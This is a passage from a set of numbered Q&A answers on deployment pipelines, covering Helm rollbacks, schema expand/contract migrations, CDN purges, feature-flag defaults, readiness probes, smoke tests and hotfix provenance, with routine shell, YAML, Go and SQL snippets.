- Baseline drift. Baseline taken from a stale window or from the canary itself. Detect: baseline must be the stable version over the same window.
- Low traffic. 5% of 20 rps is 1 rps; 1,200 requests in 20 min detects a 9% error rate but not a 0.5-point delta. Detect: compute the minimum detectable effect before picking the threshold.
Verification: a staging drill that forces the canary to 8% errors should abort within 3 minutes, leave the production pointer on the previous digest, and fire the alert. If the drill can't make the gate fail, the gate isn't wired to the promotion.
Curated: · Written: · Reviewed:
Q&A-23The dangerous code is behind a flag, so the team ships the binary on Friday and flips Monday. The flag default was on. What was the release?
The release was Friday. Monday's flip was a no-op.
I'm assuming "the flag default was on" means the value baked into Friday's artifact evaluated true for every user, with no targeting rule narrowing it. Under that assumption the new code path went live the moment Friday's binary started serving traffic, at 100%, and Monday's change wrote the value that was already there.
That matters because a flag's default is part of the deployed artifact, not a runtime setting you add later. The team believed they had a Friday ship plus a Monday canary. They actually had one release, on Friday, with no canary, no soak, and no rollback point that Monday was supposed to provide.
| Event | Binary | Flag default | Targeting | Users on new path |
|---|---|---|---|---|
| Friday ship (what happened) | 4.12 | on | none | 100% |
| Monday flip (no-op) | 4.12 | on | none | 100% |
| Friday ship (intended) | 4.12 | off | none | 0% |
| Monday flip (real) | 4.12 | off | 5% | 5% |
The fix is to make the default off in production values, so the artifact ships inert:
# values-prod.yaml
flags:
newTaxEngine:
default: false # prod default is off; the flip is a separate change
Then the flip is its own audited event (owner, approval, soak window) the same process a promote gets. A CI check that renders the prod manifest and fails on default: true for a flag not yet rolled out catches the Friday mistake before the binary ships.
Failure modes worth naming:
- No-op flip. The Monday ticket closes, dashboards look healthy, and nobody notices the exposure started Friday. Detect it by logging the evaluated flag state on the new code path at deploy time and alerting if any production request takes it before the intended flip date.
- Rollback confusion. Rolling back the binary does revert the default, so it works, but only if the responder knows the default was the exposure. Rolling back the flag config instead can restore the same
onvalue and change nothing. - No canary signal. There was never a 5% stage, so there is no error-rate or latency delta to compare against. The first evidence of a problem is a production incident, not a canary.
One more thing: the change record should name the flag state at ship time, not just the binary digest. Otherwise an incident review a month later sees a clean Friday deploy and a Monday flag change and concludes the exposure began Monday. It began Friday. Cleaning up the flag after full rollout is a dated ticket, not a hope: a flag whose default is the new behaviour is a deploy with extra YAML.
Curated: · Written: · Reviewed:
Q&A-24Deploy 4.12 ran a column drop, then 4.12 misbehaved. Helm rollback restored 4.11. Why is the app still dead?
Helm rollback moved the Deployment back to the 4.11 image. It did not move the database back. The DROP COLUMN committed when 4.12 shipped, and 4.11's code still names that column. Every query touching it now fails, so the app is dead even though the pods are Running and Ready.
What a strong candidate says first
Helm's release state and your schema are two systems with two rollback mechanisms, and only one of them is reversible. helm rollback re-applies the manifests from revision N-1: image tag, env vars, ConfigMap. The migration ran as a Job, a pre-upgrade hook, or a CI step, and its effect lives in Postgres, not in the release. Postgres has no undo log for DDL. So you are now running 4.11 code against a 4.12 schema.
If the drop was ALTER TABLE orders DROP COLUMN legacy_tax, then 4.11's SELECT legacy_tax FROM orders returns SQLSTATE 42703 (column "legacy_tax" does not exist). The ORM surfaces it as a 500. The readiness probe passes because it checks /healthz, which doesn't touch that table, so Kubernetes keeps routing traffic to pods that fail every real request.
Confirm it in two commands
$ kubectl logs deploy/checkout --tail=3
ERROR: column "legacy_tax" does not exist (SQLSTATE 42703)
at OrderRepository.findTax(OrderRepository.java:88)
$ psql -c '\d orders'
-- legacy_tax is absent; new_tax is present
That pair is the whole diagnosis: the column is gone, the code still asks for it.
Recovery, in the order you should try it
- Roll forward. 4.12's code doesn't need
legacy_tax. Fix whatever made 4.12 misbehave and redeploy it. The rollback to 4.11 was the mistake once the drop committed; undoing it again just re-breaks the schema contract. - Re-add and backfill, if the data still exists. If 4.12 dual-wrote to
new_tax, the values are there:ALTER TABLE orders ADD COLUMN legacy_tax numeric; UPDATE orders SET legacy_tax = new_tax;then roll back to 4.11. This only works if the dual-write actually shipped. - Point-in-time recovery. If nothing copied the column, the data is gone with it. PITR to just before the drop restores it, and you lose every write after that point. This is the expensive path, and it's the one you're on when expand/contract was skipped.
The design rule 4.12 broke
A destructive migration and the code change that makes it safe must be separate releases, with the old binary fully drained in between.
| Release | Schema | Binary in prod | Rollback binary to previous |
|---|---|---|---|
| expand | add new_tax, keep legacy_tax | 4.11 | safe |
| dual-write | both columns written | 4.12 | safe |
| contract | drop legacy_tax | 4.13 | unsafe: 4.12 and 4.11 both break |
4.12 collapsed the contract into the same release as the code change, so there was never a revision where the drop was safe to roll back from.
Failure modes to name
- Green pods, dead app. A readiness probe that doesn't exercise the affected table reports Ready while every request 500s. Probe the query path, not just the process.
- Helm never knew. If the migration ran in CI (Flyway, Liquibase, a raw
psqlstep),helm rollbackhas no record of it and no hook to re-run. The release history looks clean and the schema is still wrong. - Hook Jobs don't undo. A pre-upgrade hook Job that ran the drop leaves its effect in the database; rollback restores the release, not the table.
Before the next destructive migration, drill it in staging: expand, deploy the new binary, roll the binary back, confirm green. Then drill contract-then-rollback and confirm it goes red: that's the case your prod scripts should refuse to run.
Curated: · Written: · Reviewed:
Q&A-85The app digest rolled. index.html at the CDN edge was 45 minutes old. Users mixed 4.12 JS with 4.11 HTML. Where is purge?
Where it goes: purge is a blocking step inside the promote job, between "assets uploaded" and "traffic shifted to the new digest", scoped to index.html (and /), keyed to the digest, and it does not return success until the public URL serves the new digest. It is not a manual runbook step and not a wiki page written afterwards.
Why the edge was 45 minutes old. index.html is the only mutable, unhashed object in the release. The JS/CSS bundles carry a content hash in the filename, so a new digest writes new keys and the edge treats them as immutable: they never need purging. index.html keeps the same key, so the edge serves whatever it cached until its TTL elapses. A 45-minute-old copy means the edge fetched it 45 minutes ago and its Cache-Control (s-maxage/max-age) had not yet expired. The digest roll changed the bundle; it did not change the HTML's cache key, so nothing forced the edge to re-fetch.
Why users mixed 4.12 JS with 4.11 HTML. The HTML is the manifest: it names which bundle to load. If the edge serves 4.11 HTML while the bundle at the URL it names has already been replaced by 4.12 (a stable, unhashed JS path, or a purge that hit the JS but not the HTML) the browser executes 4.12 code against a 4.11 document. The reverse (new HTML, stale hashed JS) cannot happen when hashes are content-addressed, because the new HTML names a key that did not exist before. So the mixed state is a symptom of purging the wrong object, or purging nothing.
The gate, stage by stage.
| Stage | Object | Purge? |
|---|---|---|
| assets upload | app.<hash>.js, app.<hash>.css | no: immutable, new key each digest |
| promote | index.html, / | yes: blocking, keyed to digest |
| verify | public /index.html | must contain the new digest before the job exits 0 |
Failure modes and how each is detected.
- Purge issued before the new HTML is uploaded: the edge re-fetches the old HTML and the job goes green on a stale digest. Detect by asserting on the digest string, not on HTTP 200.
- Purge scoped to
/*: invalidates hashed assets too, burns invalidation quota and cold-fills the edge. Detect from the invalidation path list in the job log. - No verification step: job green, edge stale, users mixed. Detect with the curl assertion below; alert on its timeout.
- Manual purge: the stale window is whatever the human's latency is. Detect by the purge step being absent from the pipeline definition.
The assertion that makes it a gate, not a hope:
DIGEST=$(cat dist/digest.txt) # 4.12
aws cloudfront create-invalidation --distribution-id "$DIST_ID" --paths "/index.html" "/"
for i in $(seq 1 30); do
curl -fsS https://app.example.com/index.html | grep -q "$DIGEST" && exit 0
sleep 2
done
echo "edge still serving stale index.html after 60s" >&2
exit 1
Arithmetic. With s-maxage=3600 (illustrative), an unpurged index.html is stale for up to 60 minutes after a roll; the 45-minute copy sits inside that window. If, say, 18% of requests land on a PoP still holding the old copy, that is the blast radius until TTL expiry or purge, and it is the same 18% on every subsequent roll, because nothing in the pipeline changed.
What I would not do: purge on a timer, purge from a laptop, or treat "the CDN will catch up" as the release. The cluster is not the edge; users meet the edge. The purge is part of the change, recorded next to the promote job with the digest and the rollback command.
Curated: · Written: · Reviewed:
Q&A-86You deployed us-east-1 and eu-west-1 in parallel. The schema expand had only landed in us-east-1. What is the order?
Expand eu-west-1 first, then deploy the app there. us-east-1 already has the expand, so its app deploy can proceed now. eu-west-1's app deploy must wait for eu-west-1's expand to finish. Contract runs only after both regions are serving the new app.
Why that order
Expand adds the new column (or table) in a backward-compatible shape: nullable, or with a default, so the old code that doesn't know about it keeps working. The old app ignores the column; the new app writes it. That means the column must exist in a region before any pod in that region that writes it starts taking traffic. The constraint is per-region, not global: eu-west-1's app is blocked on eu-west-1's expand, not on us-east-1's.
The failure this prevents
A pipeline that fans out both regions at once, with no gate between expand and app:
- T+0: eu-west-1 expand job starts.
ALTER TABLE orders ADD COLUMN currency text NULL, then a backfill batch. ~4 min total. - T+30s: app rollout begins in eu-west-1 anyway. The pipeline has no dependency edge on the expand job.
- T+45s: first new pod is ready and takes traffic. It runs
INSERT INTO orders (..., currency) VALUES (...). The column isn't there yet. - Postgres returns
42703 undefined_column; the request 500s. - T+4min: expand finishes, errors stop.
Blast radius is the write traffic that lands on new pods during that window. If the canary is 10% of pods and 20% of requests are writes, that's roughly 2% of requests failing for ~3.5 minutes: small enough to miss on a dashboard, large enough to page someone.
The order, concretely
| Step | us-east-1 | eu-west-1 |
|---|---|---|
| 1. Expand | already applied | run now |
| 2. App deploy | can start immediately | only after step 1 succeeds |
| 3. Contract | after both regions run the new app | after both regions run the new app |
Trade-offs
Serializing the two regions costs you one region's expand time: minutes, not hours, for a metadata-only column add. That's the price of the guarantee.
You don't have to serialize the app deploys. Once expand has landed in both regions, the app rollouts can run in parallel, and so can the contract. The only hard edges are: expand before app, per region; contract after app, everywhere. Parallel app deploys before expand lands everywhere is the race you're avoiding.
Failure modes and detection
- App outruns expand (the case above):
42703/ undefined-column errors spike right after a rollout. Detect with an alert on that error class, and gate the app job in the DAG on the expand job's success so it can't happen. - Expand isn't backward-compatible: adding
NOT NULLwithout a default, or renaming a column, breaks the old app instead. Expand must be additive and nullable; renames and drops belong in contract. - Contract runs early: dropping the old column while a lagging region still reads it. Gate contract on all regions reporting the new app version.
The DAG edge (app job depends on expand job success, per region) is what makes the order enforced rather than remembered.
Curated: · Written: · Reviewed:
Q&A-20Helm returned 0 and the pipeline went green. Checkout was 500 for 8 minutes because the new config missed a key. Where does the smoke live?
Where it lives: in the promote job, after helm upgrade --wait and kubectl rollout status, as a step that calls the live Service through the same code path a user does, and whose non-zero exit rolls the release back. Not in the PR pipeline, not in a dashboard, not in a runbook written afterwards.
Why the green pipeline lied. helm --wait and rollout status only ask whether the readiness probe passes. A pod with a missing config key starts, binds, and returns 200 to /healthz: the probe never reads the config. The first request that does is a real checkout, and it returns 500. So the gate has to be a request that reads the config.
Artefact: the promote job:
set -euo pipefail
PREV=$(helm history checkout -o json | jq -r '.[-1].revision') # revision currently deployed
trap 'helm rollback checkout "$PREV" --wait' ERR
helm upgrade checkout ./chart --wait --timeout 5m
kubectl rollout status deploy/checkout --timeout=120s
# smoke: live Service, real code path
curl -fsS https://checkout.internal/healthz
curl -fsS -X POST https://checkout.internal/checkout/smoke \
-H 'content-type: application/json' -d '{"sku":"TEST-1","qty":1}'
Trace with the key missing: helm upgrade exits 0, rollout status exits 0 (the probe is /healthz), the first curl exits 0, the second gets 500 → curl -f exits 22 → the ERR trap fires → helm rollback to $PREV → job red. Time to detection is one request, not eight minutes.
The alternatives, and when this one is wrong.
- Smoke in CI, pre-promote. Runs against a synthetic environment with a test ConfigMap. Catches schema errors, keys missing from the chart's
values.yaml, broken migrations: before merge, at PR speed. It cannot catch a key that exists in staging's ConfigMap and is missing from prod's, which is exactly this failure. Cheap; keep it, but it is not the gate. - Post-promote smoke (this). Runs against the deployed artifact and the deployed config. Catches environment-specific config, image/config mismatch, DNS and secret wiring. Costs one rollback window and requires a rollback path that actually works.
- Canary analysis. Route 1–5% of traffic to the new version, compare error rate and p99 against the baseline over 10–30 minutes, promote or abort on the comparison. Right tool when the failure is not binary: a latency regression, a memory leak, a slow query, a bad cache hit rate. Wrong tool for a missing config key: one request already returns 500, and you would spend ten minutes of canary traffic learning what a single curl tells you.
Post-promote smoke is the wrong gate when you cannot roll back cheaply: an irreversible schema migration, a one-way backfill. Then the check has to move before the change is applied, and the smoke becomes a pre-promote check against a prod-like environment.
Failure modes in the smoke itself.
- It hits
/healthzonly. That is the bug that produced the eight minutes. - It runs before the Service endpoints point at the new ReplicaSet, so it tests the old version and passes. Wait on
rollout status, and if the Service is not version-pinned, assert the response carries the new digest. - It reads a hardcoded test config instead of the deployed ConfigMap, so it passes while prod is broken.
- Its failure does not fail the job:
|| true,continue-on-error, or a step that posts to Slack instead of exiting non-zero.
How I'd confirm it works. In staging, delete the key from the ConfigMap and promote. Expected: helm exits 0, rollout status exits 0, smoke returns 500, rollback runs, pipeline red. If the pipeline stays green, the smoke is not the gate.
Curated: · Written: · Reviewed:
Q&A-28Readiness is tcpSocket:8080. The new version accepts TCP before loading config and serves 500 for 12 seconds. Why did CI still pass?
CI passed because no gate in CI evaluates the readiness probe. The probe is a Kubernetes object: kubelet runs it against a container in the cluster. CI's tests run against the process: unit tests in-process, integration tests against a binary or container the harness starts itself, and the harness waits on something it controls, usually a port connect or a fixed sleep. Neither observes config load. If the pipeline does deploy, its cluster gate is kubectl rollout status, which returns success the moment every pod reports Ready. Ready is decided by tcpSocket:8080, which succeeds at 0.4s. So the pipeline's only cluster-level gate is satisfied by the same broken signal that let kube-proxy send traffic to a process still reading config.
| Gate | What it actually checks | This build |
|---|---|---|
| unit tests | functions; config fixture loaded in test setup | pass |
| integration test | TCP connect to :8080, or a fixed sleep | pass at 0.4s |
| image build/push | layers, digest | pass |
kubectl rollout status | every pod Ready per readinessProbe | pass at ~0.4s/pod |
kubelet tcpSocket:8080 | TCP connect | Ready at 0.4s |
a real GET /checkout | config-dependent handler | 500 for 12s |
The timeline inside one pod:
t=0.0 container start
t=0.4 net.Listen(":8080") returns
kubelet tcpSocket probe succeeds -> pod Ready -> endpoint added to Service
kube-proxy programs the endpoint; requests arrive
t=0.4-12.4 handlers run with config not yet loaded -> 500
t=12.4 loadConfig returns; handlers return 200
The ordering bug and the fix, Go 1.22 / net/http:
var ready atomic.Bool
func main() {
cfg := loadConfig() // 12s
ready.Store(true)
mux := http.NewServeMux()
mux.HandleFunc("/ready", func(w http.ResponseWriter, r *http.Request) {
if !ready.Load() {
w.WriteHeader(http.StatusServiceUnavailable)
return
}
w.WriteHeader(http.StatusOK)
})
http.ListenAndServe(":8080", mux)
}
Loading config before ListenAndServe closes the window on its own. The /ready handler is what keeps the probe honest afterwards, when config reloads or a dependency drops and the port stays open.
Failure modes, and how each is caught:
- Integration test that waits on the port. Passes at 0.4s and never sees a 500. Caught by asserting a 200 from a config-dependent route, not by asserting connect.
kubectl rollout statusas the deploy gate. Green at 0.4s. Caught by a post-deploy smoke test through the Service that asserts 200 on a real route, with a retry budget shorter than the failure window, or no retry at all, so the 12s window fails the pipeline.- Smoke test with generous retries. Also passes; the retries outlast the outage. Bound total retry time to a few seconds.
tcpSocketin the chart. Survives review because it looks like a probe. Caught by a chart test that rejectstcpSocketfor this service.
What to change: probe GET /ready over HTTP, returning 503 until config load and a cheap dependency check pass; set initialDelaySeconds and timeoutSeconds to cover worst-case boot; and add a pipeline smoke test that hits a real endpoint through the Service and fails on any non-200.
Curated: · Written: · Reviewed:
Q&A-25The migration job is in the same Helm chart as the app and runs on every promote. How do you stop a drop from riding with a new feature?
Take the destructive migration out of the app's promote path. The app chart ships only additive, backward-compatible changes: expand. The DROP lives in a separate migration artifact that you promote on its own, and only after the previous app version is fully drained from the cluster.
Why it has to be separate: expand/contract runs in three ordered steps. Expand (add the column, dual-write), backfill, then contract (drop). The contract step is the only one you cannot undo by redeploying the old binary, because the column is gone. So it must run last, and it must be gated on a fact about the cluster, not on someone remembering to do it.
Concretely, two Helm releases from the same repo. The app chart holds Deployment, Service, ConfigMap: no migration Job. A schema chart holds one Job per migration, each carrying a version. Promote order:
| Promote | Artifact | Gate |
|---|---|---|
| 1 | schema expand-19 | none |
| 2 | app 4.12 | expand-19 applied |
| 3 | schema contract-19 | zero 4.11 pods in cluster |
The step-3 gate is a check, not a hook: kubectl get pods -l app=x,version=4.11 returns empty, or the old ReplicaSet's version endpoint reports drained. Non-empty means the promote fails and the drop never runs.
Alternatives, and when each is the right call:
- Keep the Job in the app chart, but make it a pre-upgrade hook that runs only expand, and put the contract migration in a separate
helm upgrade --set migration=contractinvocation. Cheaper, one chart, but Helm runs hooks onhelm rollbacktoo, so a rollback can re-run a destructive migration against an already-contracted schema. If you take this route, make the migration idempotent and guard it with a schema-version table. - Admission policy (Kyverno or Gatekeeper) or a CI check over the migration directory: reject any change set where a contract file and app code that references the dropped column land together. Cheapest gate, catches the mistake at review time, but it's static: it cannot tell you the old version is drained. It complements the promote gate; it does not replace it.
When splitting is not worth it: one service, one team, a stop-the-world upgrade with no rolling deploy, or a column no other consumer reads. There an in-chart pre-upgrade hook with a version guard is fine, and you avoid operating a second release.
The failure the split prevents: the chart applies DROP COLUMN and the new Deployment in one revision, the rollout stalls at 2/3, and 4.11 pods are still running against a contracted schema. You get 500s until you roll back, and the rollback cannot restore the column. That is why the drop gets its own promote, gated on the old version being gone.
Curated: · Written: · Reviewed:
Q&A-54A pre-upgrade Job runs migrations, and the chart author also put hook weight 0 on the Deployment "so they start together". What actually races?
What actually races
Nothing about weight 0 makes the Deployment and the migrate Job start together. Adding helm.sh/hook: pre-upgrade to the Deployment turns it into a hook resource, and Helm only blocks on hook resources whose kind is Job or Pod. A Deployment hook is created and Helm moves on immediately, so the Deployment's ReplicaSet starts pods while the migrate Job is still running. Weight 0 doesn't synchronize them; it only puts the Deployment in the same weight bucket as the Job, and Helm breaks weight ties alphabetically by resource name, so you can't even count on the Job being created first.
Mechanism
helm.sh/hook-weight is a string parsed as an integer, sorted ascending, default 0; negative values run earlier. It orders resources within one hook phase. It has no effect across hook and non-hook resources.
Helm's hook executor creates each hook resource in weight order, then waits only for Job and Pod kinds to become ready. Everything else (Deployment, Service, ConfigMap) is applied and the upgrade proceeds. So:
| Resource | Annotation | Helm waits? | Result |
|---|---|---|---|
| migrate Job | pre-upgrade | yes | Deployment applied after Job succeeds |
| Deployment | pre-upgrade, weight 0 | no | pods start during migration |
| Deployment | none | n/a | applied after pre-hooks finish |
The correct shape is: migrate Job is the hook, Deployment is a normal resource.
# Job: Helm blocks here
metadata:
annotations:
"helm.sh/hook": pre-upgrade
"helm.sh/hook-weight": "-5"
"helm.sh/hook-delete-policy": before-hook-creation,hook-succeeded
spec:
backoffLimit: 3
# Deployment: no helm.sh/hook annotation at all
With the annotation removed, Helm applies the Deployment only after the pre-upgrade Job completes. A failed migration stops the release before any new pod is created, and the old Deployment keeps serving.
Costs and alternatives
The hook approach blocks the whole upgrade on the migration, and Helm's default --timeout is 5m0s: a migration that runs longer fails the hook and rolls nothing forward. Raise --timeout deliberately.
Alternatives: an init container that polls the schema version before the app container starts (per-pod cost, duplicated wait logic, but it also protects pods restarted later by a node drain); or a normal Job plus --wait --wait-for-jobs, which waits for Jobs in the manifest rather than hooks.
Failure modes
The race shows up as pods crash-looping on a missing column or table (column "x" does not exist), readiness probes failing, CrashLoopBackOff in kubectl get pods. Detect it by checking whether the Deployment carries the hook annotation: kubectl get deploy app -o jsonpath='{.metadata.annotations}'. Also, a Deployment that is a hook is not in the release manifest: helm rollback won't revert it and helm uninstall leaves it behind unless a hook-delete-policy removes it. That's the real cost of the annotation, beyond the race.
Curated: · Written: · Reviewed:
Q&A-67A Helm values change to a timeout shipped with three feature commits. The timeout was the outage. How do you separate them?
Short answer: after the fact you cannot separate them with helm rollback. That reverts the whole release revision, features included. You separate them by shipping a forward upgrade that changes only the timeout, and structurally by giving config its own release so the next rollback is scoped.
Assumptions: one Helm release per service, values in git, CI runs helm upgrade, and "rollback" means helm rollback. If values live in a separate HelmRelease (Flux) or Argo Application, the boundary moves but the reasoning is the same.
Mechanism. Helm stores every upgrade as a numbered revision holding the fully rendered manifest: image tag, env, values, all of it. helm rollback web 41 restores that entire manifest. There is no partial rollback of one key. So if the timeout change and the three feature commits landed in the same helm upgrade, they are one atomic unit for rollback purposes. The three commits are invisible to Helm; what matters is how many releases they were spread across.
| Revision | image | timeout | helm rollback to it does |
|---|---|---|---|
| 41 | app:v1.2.0 | 30s | — |
| 42 | app:v1.3.0 (+3 commits) | 2s | restores v1.2.0 and 30s |
| 43 (forward fix) | app:v1.3.0 | 30s | restores v1.3.0 and 30s |
What to do during the incident. Revert the values commit in git, then helm upgrade web ./chart -f values.yaml with the image tag pinned to the currently deployed digest. That produces revision 43: features stay, timeout goes back to 30s. This is a forward fix, not a rollback, and it is the only move that keeps the features. It takes one upgrade cycle, not a product negotiation.
What to do structurally. Split config into its own release, a web-config HelmRelease or a ConfigMap applied by a separate pipeline, so its rollback is independent of the app digest. Then a bad timeout is helm rollback web-config with no app revert. The cost is ordering: the config release must never be rolled back to a value the running app cannot handle, so version the two together in the repo and gate the config release on the app digest it was tested against.
Failure modes. The forward fix depends on the values file being the source of truth; if someone set the timeout with --set at upgrade time, git revert will not reproduce it. Detect by diffing the stored revision manifest (helm get manifest web --revision 42) against git. Second: if the timeout is genuinely coupled to the app version, new code needs 2s, then config and app must ship together, and the answer is a feature flag or a canary on the timeout value, not a split release.
What would change the decision. If the timeout is a safety limit the new code depends on, splitting is wrong; keep them coupled and make the change reversible by flag. If it is an independent tuning value, split it. The test is whether reverting the timeout alone leaves the app correct, if yes, separate; if no, they were never separable.
Evidence it is settled: a week of prod revisions where config-only changes are labelled and small, and a drill that rolls back values without an app revert.
Curated: · Written: · Reviewed:
Q&A-10Checkout and payments are different repos. Checkout merged a field rename; payments produced 19% 400s after the next promote. What should have blocked the first merge?
What should have blocked it: a required status check on checkout's PR that replays payments' published consumer contract against the renamed build. Checkout's unit tests are green by construction: they encode checkout's own view of the field, and a rename is internally consistent. The only artifact that encodes payments' expectation is payments' contract, so the gate has to run payments' contract inside checkout's pipeline, and it has to be a required check, not an advisory one.
Mechanism, in pipeline order:
- payments CI runs its consumer tests against a mock checkout, emits a pact asserting it reads
card_last4as a string, and publishes it to the broker tagged with the version running in production (3.7.1). - checkout's PR opens. A
provider-verifyjob pulls the latest pact for every consumer version taggedprodand replays those interactions against the checkout build. - The rename deletes
card_last4. Verification fails, the required check goes red, the merge is blocked. - If it merged anyway,
can-i-deploy --pacticipant checkout --version 4.12 --to-environment prodfails, because payments 3.7.1's pact has no successful verification against 4.12. That is the promote gate, and it is the second line, not the first.
The break this prevents is the one described: checkout 4.12 ships, payments still requires card_last4, 19% of payment requests 400 for 47 minutes.
Alternatives, and when each beats contract gating:
| Option | Blocks at | Catches a rename? | What it costs |
|---|---|---|---|
Consumer-driven contract + can-i-deploy | producer PR (required check) and promote | yes, if the consumer asserts the field | broker to run, pact maintenance on both teams |
| Schema registry (Avro/Protobuf, BACKWARD compatibility) | publish time | yes for registered schemas; not for plain JSON over HTTP | registry ops, every producer must register |
| Additive v2 field + dual-read window | nothing blocks; it is a convention | yes, by construction | two code paths, a deprecation clock, telemetry to prove v1 is unused |
| Canary promote + auto-rollback | promote, after ~1% of traffic | detects in minutes; does not block the merge | traffic splitting and SLO alerting that fires on 400 rate |
A schema registry is the better fit when the interface is an event stream and every producer already registers schemas; it enforces compatibility at publish time with no consumer-side test to maintain. The additive-v2-plus-dual-read route needs no new infrastructure and is the right call when the two teams cannot coordinate a broker rollout: you pay in dual code paths and a deprecation clock instead. A canary is cheaper than any of them when the failure is observable and reversible, but it bounds the blast radius rather than preventing the break, and it does nothing for a rename that corrupts stored data instead of returning 400s.
Contract gating is not worth it when the consumer is in the same repo or deploys in lockstep with the producer: a canary covers that case for less. It is also a poor trade when the contract surface is large and mostly unread: you maintain verifications that never fire, and the first false red teaches teams to skip the check.
Three ways the gate itself fails. Verifying against the consumer's main instead of the version tagged prod lets a break through when the consumer has not deployed yet. Over-specified matchers, asserting fields nobody reads, produce false reds until someone adds a skip. And type-only matchers pass a rename to a same-typed field, so the contract has to assert the field name, not just that a string arrived.
Curated: · Written: · Reviewed:
Q&A-884.12 is bad. 4.11 is compatible. A forward-fix will take 90 minutes to write. What does the pipeline prefer?
The pipeline prefers the revert. Promote 4.11 back. It's the same digest that already passed every gate, so re-promoting it doesn't re-run CI, integration, or canary: it's a promote of a known-good artifact. Forward-fix is a new digest, 4.12.1, and the pipeline has no shortcut for it: it must earn the same gates from scratch. That's 90 minutes of authoring plus pipeline time, during which 4.12 stays live.
That preference holds only if "compatible" means what it says: 4.11 can read and write everything 4.12 touched. No schema migration that 4.11 can't reverse, no message format only 4.12 understands, no data written in a shape 4.11 will misread. If any of that is true, the pipeline can't prefer rollback: forward-fix is the only safe path, and the 90 minutes is the cost of the mistake.
Mechanism: in a digest-based pipeline, promotion is the gate. Rollback is a re-promote of the previous digest. Forward-fix is a build, test, canary, promote. The pipeline prefers the path with fewer gates and a known artifact. That's not a moral preference; it's what the automation encodes.
Trade-offs: rollback discards 4.12's changes. If 4.12 contained a fix someone needs, you revert that too. Forward-fix keeps the intended change but leaves the bad version live. The pipeline's preference is about time-to-healthy and safety, not about which change is better.
Failure mode: treating forward-fix as the only option because rollback isn't automated. If rollback is a manual runbook step, it's slower than it should be, and the team defaults to authoring. Detect it by measuring rollback wall time in a drill. Another failure: rolling back to a "compatible" version that isn't. Schema drift. Detect it by running the rollback in staging against production-like data, or checking migration reversibility before you need it.
Arithmetic, with assumptions labelled: rollback 4 minutes, forward-fix 90 minutes. That's 86 extra minutes of 4.12 live. If 4.12 fails 5% of 10,000 requests/sec, that's 500 failed requests/sec, ~2.58 million failed requests over 86 minutes. The pipeline prefers the 4-minute path.
| Action | Time to healthy |
|---|---|
| rollback to 4.11 | 4 min |
| author 4.12.1 | 90 min |
| kubectl edit live | unrecorded, and not a pipeline path |
Record the digest, the gate that ran, and the rollback command next to the promote job. That record is part of the change, not a wiki page written afterwards. A drill should show rollback wall time under 10 minutes for a compatible pair, documented next to the forward-fix path. Keeping a bad digest live while you author is a choice, not a constraint.
Curated: · Written: · Reviewed:
Q&A-89Hotfix/tax-bug is built on the runner with --no-verify and pushed as :hotfix. Why is that not a hotfix?
Core answer. A hotfix is a path, not a tag. :hotfix is a mutable pointer in the registry; it says nothing about who built the image, what ran against it, or whether it was signed. What makes a change a hotfix is provenance: it was cherry-picked onto the exact commit of the production digest, built by the same pipeline, passed the required gate, and was signed by the CI identity. --no-verify removes the hooks that are part of that gate, so what got pushed is an untested, unsigned build wearing a reassuring name. It may fix the tax bug; it is not a hotfix.
Assumptions I'd state up front: production deploys by digest, not by tag; CI is the only identity allowed to sign; the pre-push hook runs the secret-in-layer scan and the fast test subset.
What --no-verify actually skips. On git commit it skips pre-commit and commit-msg; on git push it skips pre-push. Those hooks are where lint, the secret scanner and usually the fast test subset live. Building on the runner doesn't make it CI: the pipeline does, and the pipeline is exactly what was bypassed.
What the tag does. docker push repo:hotfix writes a manifest under a mutable name. Anyone can re-push that name tomorrow; the digest changes and the tag doesn't. Deploying :hotfix means you cannot say which bits are running, and you cannot roll back to "the previous hotfix" because there is no previous digest recorded.
| Path | Hooks / tests | Signature | Push to prod repo | Provenance record |
|---|---|---|---|---|
--no-verify, tag :hotfix | skipped | none | allowed | none |
| cherry-pick + full CI | required set | cosign, keyless OIDC | allowed | digest + gate log |
| laptop build | skipped | none | rejected (403) | none |
The 403 is the prod registry's admission policy: it accepts a push only if the manifest carries a signature from the CI identity, so an unsigned laptop build is refused at the door. The --no-verify push got in because it ran on the runner with CI's credentials: the policy checked who pushed, not what ran.
When a bypass is justified. The deciding criteria are: is the artifact already signed and previously gated, and is the reduced gate documented? A revert to a known-good, already-signed digest is the one case where skipping the build is defensible: the provenance already exists. A brand-new build with --no-verify is not, because the artifact has never been gated at all. If you genuinely need a faster path, cut the job set (skip the slow integration suite, keep the secret scan and the signature) and record which jobs were dropped; don't drop the gate.
Failure modes. The one I've seen: :hotfix skipped the secret-in-layer scan and reintroduced a credential in an image layer that CI had been catching for a month. Detection is a nightly reconciliation that lists every tag whose digest is not in the signed set: that job flags :hotfix the same day, before the next deploy. The second failure is rollback: with no recorded digest, the incident responder can't name the bits that shipped.
So the check is: does the hotfix digest have CI provenance and a signature, and can a --no-verify job push to the prod repository at all? If the answer to the second is yes, the policy is the bug.
Curated: · Written: · Reviewed:
Q&A-87The migrate Job ran at 03:00. At 03:04 the Job was wrong. PITR was 24 hours. Restoring the 03:00 snapshot would drop four minutes of orders. What should the Job have done?
What a strong candidate says first
The Job should never have needed a whole-database restore. Two changes fix it: split the migration into an additive phase and a destructive phase, and take the rollback point immediately before the destructive statement rather than at job start.
The 03:00 snapshot is the wrong rollback target. Orders kept arriving between 03:00 and 03:04, so rewinding to 03:00:00 discards four minutes of committed orders. A PITR target of 03:00:47, the instant before the bad statement, keeps them. Same 24-hour window, different target.
Mechanism: expand/contract
Phase A is additive and safe to leave in place: add the new column or table, dual-write, backfill in batches, switch reads. Phase B is destructive: drop the old column or table, and only after a verification query returns zero rows and a PITR mark has been recorded.
If Phase B is one DDL statement, rollback becomes "restore to the mark": seconds of replay, not a full rewind.
| Rollback target | Orders kept | Cost |
|---|---|---|
| 03:00 snapshot | loses 03:00–03:04 | full restore + replay |
| PITR to 03:00:47 | keeps all | replay ~47s of WAL |
| expand/contract revert | keeps all | no restore |
Job steps
1. Phase A: additive SQL only (ADD COLUMN nullable, CREATE TABLE new)
2. backfill in batches, verify row counts
3. record PITR mark: SELECT pg_current_wal_lsn() -> 0/1A2B3C4
4. Phase B: destructive SQL (DROP COLUMN old)
5. on failure: recovery_target_lsn = 0/1A2B3C4, or revert code
Use an LSN or GTID, not wall-clock time. Clock skew between the app host and the database makes "03:00:47" ambiguous; on MySQL the equivalent is a binlog position replayed with mysqlbinlog --stop-position.
Failure modes
DROP COLUMNtakes an ACCESS EXCLUSIVE lock. On a busy table it queues behind long reads and blocks writes; setlock_timeoutso it fails fast instead of stalling the table.- A single
